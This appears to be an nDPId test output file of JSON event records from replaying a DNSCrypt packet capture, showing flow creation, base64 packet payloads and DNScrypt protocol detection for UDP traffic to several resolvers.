+00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":578,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":188062,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ1vUAuX4RQfYKAAABF29KzQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":578,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":579,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":60113,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":240,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":188092,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc1vcgAH4RHSEKAAABF29KzerRAbsGBKkvS8QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":579,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":946739402188,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"23.111.74.205","src_port":60113,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":580,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":188109,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ1vcAuX4RQfQKAAABF29KzQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":580,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00668{"flow_id":235,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":352103,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUpqhAADURe3gXb0rNCgAAAQG76MMAwNUkS8OBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} +00668{"flow_id":237,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":354461,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUpqpAADURe3YXb0rNCgAAAQG7rvkAwA7rS8eBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} +00668{"flow_id":238,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":354516,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUpqtAADURe3UXb0rNCgAAAQG7zzUAwO6vS8aBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} +00668{"flow_id":240,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":356283,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUpq1AADURe3MXb0rNCgAAAQG76tEAwNMVS8SBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} +00668{"flow_id":236,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":585,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":356940,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUpqlAADURe3cXb0rNCgAAAQG77bQAwNAxS8WBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} +00668{"flow_id":239,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739402,"pkt_ts_usec":357934,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUpqxAADURe3QXb0rNCgAAAQG7hOgAwDkBS8KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADFMi1FdTWI6xs9AIHJqo\/A+wDfjlj3WkVYnoIQAvOP3ISfoMelOBqvsYElaECIkBkM1KRmWo7IwtwzQE5GK6ICxIfEdneiwuXVbSuJIibtWiAHFQr52HeEOQNDYtX2pkLEh8R2d6LC5QAAAAFfU1VGX1Smxg=="} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":587,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":1,"flow_first_seen":946739611961,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":47545,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01195{"flow_id":241,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":587,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739611,"pkt_ts_usec":961483,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJcJkxAAKYRdegKAAABl1DeT7m5AbsCSDi2hxVktS2XlAXK1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDO6Ugg3iONmSyzFBmv3WeUbwZp9IYiTM191d4EGpSNgn1Vnmhi0dnshrsldty0p0rog9vCUpw6jzc4+P9Puw1SQZaVq6AQHs9j8FHA6TV2fEODI+IleWgpNwN7RkTyReTtbcAyqcw4LZqRdzr4SFPlNOAV9QpavHsXRRYeP7A8ijLspxo8F1YH1toI16qO3Wyz3w2HsVy3nP0JwlulITaJBD9qG3whIbZyqhQYyJ2BvR67IS++x+jXq0MGJud5+s9l28XPdTs\/vK3y+tQd2+A5CezpWRNwOoTnzQrdnO5idkwCcFNbHZKDQFROmtVXAPisaIFuh2zDBTP9EootPFJMHtt5MCwQKxsqxAokmytyeHxjFqA8WwfVcAi5mF\/ZuGsfcjSKloXW082oaEMVSIkwJ74\/Jb+rJZiHxMq58YuihNtogJ1XyZ7N5w9vgrIru3Mf+Yb1s51E\/BAtAVet5JOSYKjHsRrwqjR5SM92Qhm81hCxh\/GAZd8BGwMYGW43YzzX7cWwZTJxpff01gK7OvmzthL7xQA0ARPjY6jfbbFZeg4DdbEVEZyuWoK3KXb6sDjKwxJLrncbQshDJtGHzwOzijM3V5WnhnWXGriaawdzvTvZzhIQ0srq9F4tmvJ8cwU537l2ggbdtCOlpHKYsSA7i9H4MB3lIBKJSrAhjGcr6R+mT\/OaHMOBRDayFlbn\/EG+N1\/YwEFto6"} +00916{"flow_id":241,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739612,"pkt_ts_usec":32164,"pkt_caplen":410,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":410,"pkt_l4_len":376,"pkt":"ZmZmZmZmRERERERECABFAAGMXAxAADQRsviXUN5PCgAAAQG7ubkBeOzQcjZmbnZXajjulIIN4jjZkssxQZqSDAUmKpfd49BFPcXUJNsH1tfF8ILOrmEInURZhClsi8Vfa6egoR1ZaEP2TFIvnnwmg3DMIMPj1X93gFJnlICV6s1bYKcQ0IVszmSovV29MoXsJXRtqoBvjWoL6erf64n\/9lY7Pizn5GAIJ+ZpdKmiKxdjxBHa0Bf9zJfNMagz21JNImGKGgrF3C+muN5QaVzi53jM6qhgKER\/YzujMJfiHF\/aaLCV7ensBtZtMGPEX2NyQDksoYgHkNVty+uHcb5FWtodWfWQwK\/pSx8\/6EDGrCYsD3hCk628LO83kEMpLh3mWe\/DOYJ4VpTxZ8unmS83bK0xOwnj+LV6NHmYBoNZVrz1zkXkqx7GlUurn5Yj1XRRPDFjXpVJqBkZG7vuwQAAc0Zs2zwVPvHOdh3jfX9L6TmayQGceJ8L7zIXqi14xI3xt4P62MSxtYdyqx5X5yN0e0crNQn80yUKKZ8="} +00539{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":588,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":2,"flow_first_seen":946739611961,"flow_last_seen":946739612032,"flow_tot_l4_data_len":960,"flow_min_l4_data_len":376,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":47545,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":589,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_first_seen":946739614386,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":38660,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01196{"flow_id":242,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739614,"pkt_ts_usec":386871,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJc989AAKYRHsYKAAABkFtq45cEAbsCSL5UGz3LRoQYGq7K1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDCN0sI1afsDgB7g4z3waLSDC2o9apEHGrmX1\/\/XVDTnA82XGV5BkJ6hyx9SwD+WiC6uDTp6AbKbCDGnUn3j+tLJpn2hItHoTa\/xeDArjby7slJF40ySc4tPuE+UMiXypOsTanLuynVvS9n8gbILRPI43brHHY7HDFenFZDOtfB+JxdnOOFNDYhfJprBR2DTCXiO3N4Bex+NG0pKxAEiN254J3qeD3\/OAwnKA81+nREhgnE+6I0CyIA201vB4x+d\/+mhwpFUuUhbbD\/SfJPnQXjy3jOXtIJLaIFLNycvxG+PS5Ojxq9uCtE2XhA4tfk90STkQEJNACVZbLwRyAcYZfg9qxeV8twgsNlEDF5PIG3nzQvpvywuTYlFQryvjTvIH4VR9wK25AyfzR7C\/t+iRavrUqnzmU\/fAOG0CvTaSqHI+4MnbhUZVoxS2UyUFdELJqReTeLin8fcrvX1wJgCVSp8+cPs7vBKaV+JiLAgU+OxuxldboVrer9459FyQl4WFjHazGEL4xKqJvMIvrueodNiqXGE6cS6tIYUKgaQ4AFmKHlACJF\/olwP9NoAOKSUY3Y66DFQ4v+LM9mU+SWhao2muTb4Tju4w6ERuBOUyzP9LBhYeQUMfKmBYpIb+UNg41n6P7vyU8kDamY+f+xv4B8HSDYKX2DWu9KXaFSPBiu3SXVmscc3+ivcw18HJ9BS2CgGcv+eo7Dnd"} +00740{"flow_id":242,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739614,"pkt_ts_usec":411248,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":282,"pkt_l4_len":248,"pkt":"ZmZmZmZmRERERERECABFAAEMVHFAADcRMnWQW2rjCgAAAQG7lwQA+NqDcjZmbnZXajgjdLCNWn7A4Ae4OM+V95TEH+wEPWjCUqAPqLgKz03zsgxbeQD\/5ecQsA4RfRBRViLb9egczysjt1OolDW9kDXjXmmQiF571kS9rCn31TE60wfdQuvLsxXdWOqgaclRBMIB2+xIEcqZiOOnbAC3owgMpf07BM+8qosYU+1EzXz7EouWJa8VxL5FW0SNfmJsYYBjcSkC0myJwAMFESyFpxNCQtb+Z3Q2X9FOvOphUjS1Bh6POqoHGB4CgchAKjQ4X8fxQb5Wv65jhpmBRnmn5yUbcKZT8A2zfL7KGiy9Vrk+mU3WwB6UiVmU"} +00540{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":590,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":2,"flow_first_seen":946739614386,"flow_last_seen":946739614411,"flow_tot_l4_data_len":832,"flow_min_l4_data_len":248,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":416,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":38660,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":591,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":1,"flow_first_seen":946739615603,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":60393,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01203{"flow_id":243,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":591,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739615,"pkt_ts_usec":603613,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJc+DdAAKYRHl4KAAABkFtq4+vpAbsCSL5UGz3LRoQYGq7K1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDCAf8ZxPLtyAmkbotfhN9FBFDCeDP4ncrd\/TOhQoXS6aaK7Qk9xNjCJAE83nYrNPvD\/886RDhSKbcIu9OfJQKTcWCPazM2lBZj5zsNZveK3aqI2jCfxNNTpF+6txS57\/tj1ipnKY33r09Y4upstDW1n4WR1Nsfz7UrdB6\/6T5NqtK9QGMv\/EvcCVnsI4etNtWFQzRfRc7E0Skos7MBtpGgiC86vsChOu7VYwrpe6b0CyOg6OcUDxGDoVs5ICEPVHDsd2RqeGP3QVPcQgf4RCQy1ImYumox7n6l80U\/14hvlajMMIkDpEpiu4KAyZSDWRXbhAD60XmVYOZ0blLEelAzhupD39arDQughZsQic9xuigYdXIQBw\/Fbye0tmt8ihEnYnMhGIlRckiYzkA2ioG3ckpl1JlkazwpX87IXdgB1wqkVRuynhNnc1hxUbpiv0BrBR\/fV0UhwJN\/T1pdWRfFcsSRYMRLW\/ixpyROEV8e41kHMNotPvlHLtOyi\/2lXQAveUUQT3pByUNSr1McJDQGc7QNA5zFLNTZBJqb0kxE\/mLWe0EMXj7XbfUBu7q2gn8G7CETqFs71z\/s7TC\/nsaD\/ETkxWcTnA0aNzC2E\/O5fjyCETbuv3jbGkWzJPfOkBc4w2M9f3qNHjwEkn1LJYLOKWSLyq34DWAVom05p8N+1XzUjvKKpr2SZf2pwRkSXCrFPZsLRFNDkb"} +00831{"flow_id":243,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":592,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739615,"pkt_ts_usec":628764,"pkt_caplen":346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":346,"pkt_l4_len":312,"pkt":"ZmZmZmZmRERERERECABFAAFMVRFAADcRMZWQW2rjCgAAAQG76+kBOCk6cjZmbnZXajggH\/GcTy7cgJpG6LWEOqYXy9eZW2i3Qbkc+\/ab87nm8hxILOmwmIagjS3082zNqzOBnUfDvXH1wdeKy55EXymmAOR3ISimesD3NSPRd1l+RxmfBHNn3a7Bw5aEHaIlwaCNLNQFqK+BhPyPkErS5VbNOhmY5xHp0Ui2kKe72GXKf4WLQR7zh9TTBssKJNiCiW7f2BiWF1TEyHipKDeny4ICpyTd3Wo2+B3IqtOVZ3rHmsTn5k+U7Dl0LO15r3tqh6n0WPCSwFlzqIYmOuOCTIqRIw6ZGfDu889dv4sOKdhqSdpo5gBsF5uRtahg1DOgrYIIV6k+VvSO\/ChUBVAry4GOrZXgTyxKsOYZ+21X5TNc3orLlCmaabkA\/armCA8Dr977H97D0+Y1rw=="} +00540{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":592,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":2,"flow_first_seen":946739615603,"flow_last_seen":946739615628,"flow_tot_l4_data_len":896,"flow_min_l4_data_len":312,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":448,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":60393,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":593,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":946739617004,"flow_last_seen":0,"flow_tot_l4_data_len":584,"flow_min_l4_data_len":584,"flow_max_l4_data_len":584,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":50443,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01196{"flow_id":244,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739617,"pkt_ts_usec":4122,"pkt_caplen":618,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":618,"pkt_l4_len":584,"pkt":"REREREREZmZmZmZmCABFAAJc+TpAAKYRHVsKAAABkFtq48ULAbsCSL5UGz3LRoQYGq7K1L0mf5PIChUIPitfU3P1xdue2oSi59s41xANmFlcDMYv6lXLSTAmrdvTCyOYpoj3kt1OReSCqSRptuX3NltyQeLyb5cvSCa8IppjLkWscLpkUyp0EuX0uRM80Z0tP4bkozd9zL82wWjC8W8tmOO4RTgddRqe2OW6UcaHGdoyLPby7WVQbLUZtFO6cYUzbEsqfBQPgCTh\/qKzkBHUUFOcOzpUyI3MqJzYO0+HYvDMlUyYOn02yFtLLa5Pq1FzqbW8q5lSsV54O2im5U817KNJVnj\/1Ex0RZMgloFaQtGlXZoAu0SSgUwvvAL1FO1uoRRAx+AcSeEgZ9dYJhUksMKZOl0pd1gb1y8kNBpupQux9D3tnmm7KlCbGQCOdJ7gfT1HbeHBBq0E1\/iBd8zqzehjb3a24okMSsxmhLmPfcn4P9uZtYdGDWmUahJxq\/ugthfP8l7FCJb27pTFxpBGhYYKBpCs8n66CHCXntWVKyqe9MG6tK4sOASpV12JTr1YNDUpJbbagNSSVC5+IbRWJ9kB5Tr1rdpADAHtTZhkSuXY7lHM\/VYuUqKr1+qXLnLCAo5cFYbfySTD\/RlMa1jGWX7ZjRRid5DRXgauaKlqQZ3kXMkfTFpvDON8m0NTWj9A1FG\/47eQpOKy5YSZ3VSyyGdtTjV5AwxRf0u5j7LIlgeShVaNcOEV16mq+tTopZDdjg\/q8bR3f8vgTH0VjGrhrUoHlYjd9nR+n\/OCx\/s7syonVC6jt\/ML6xGu"} 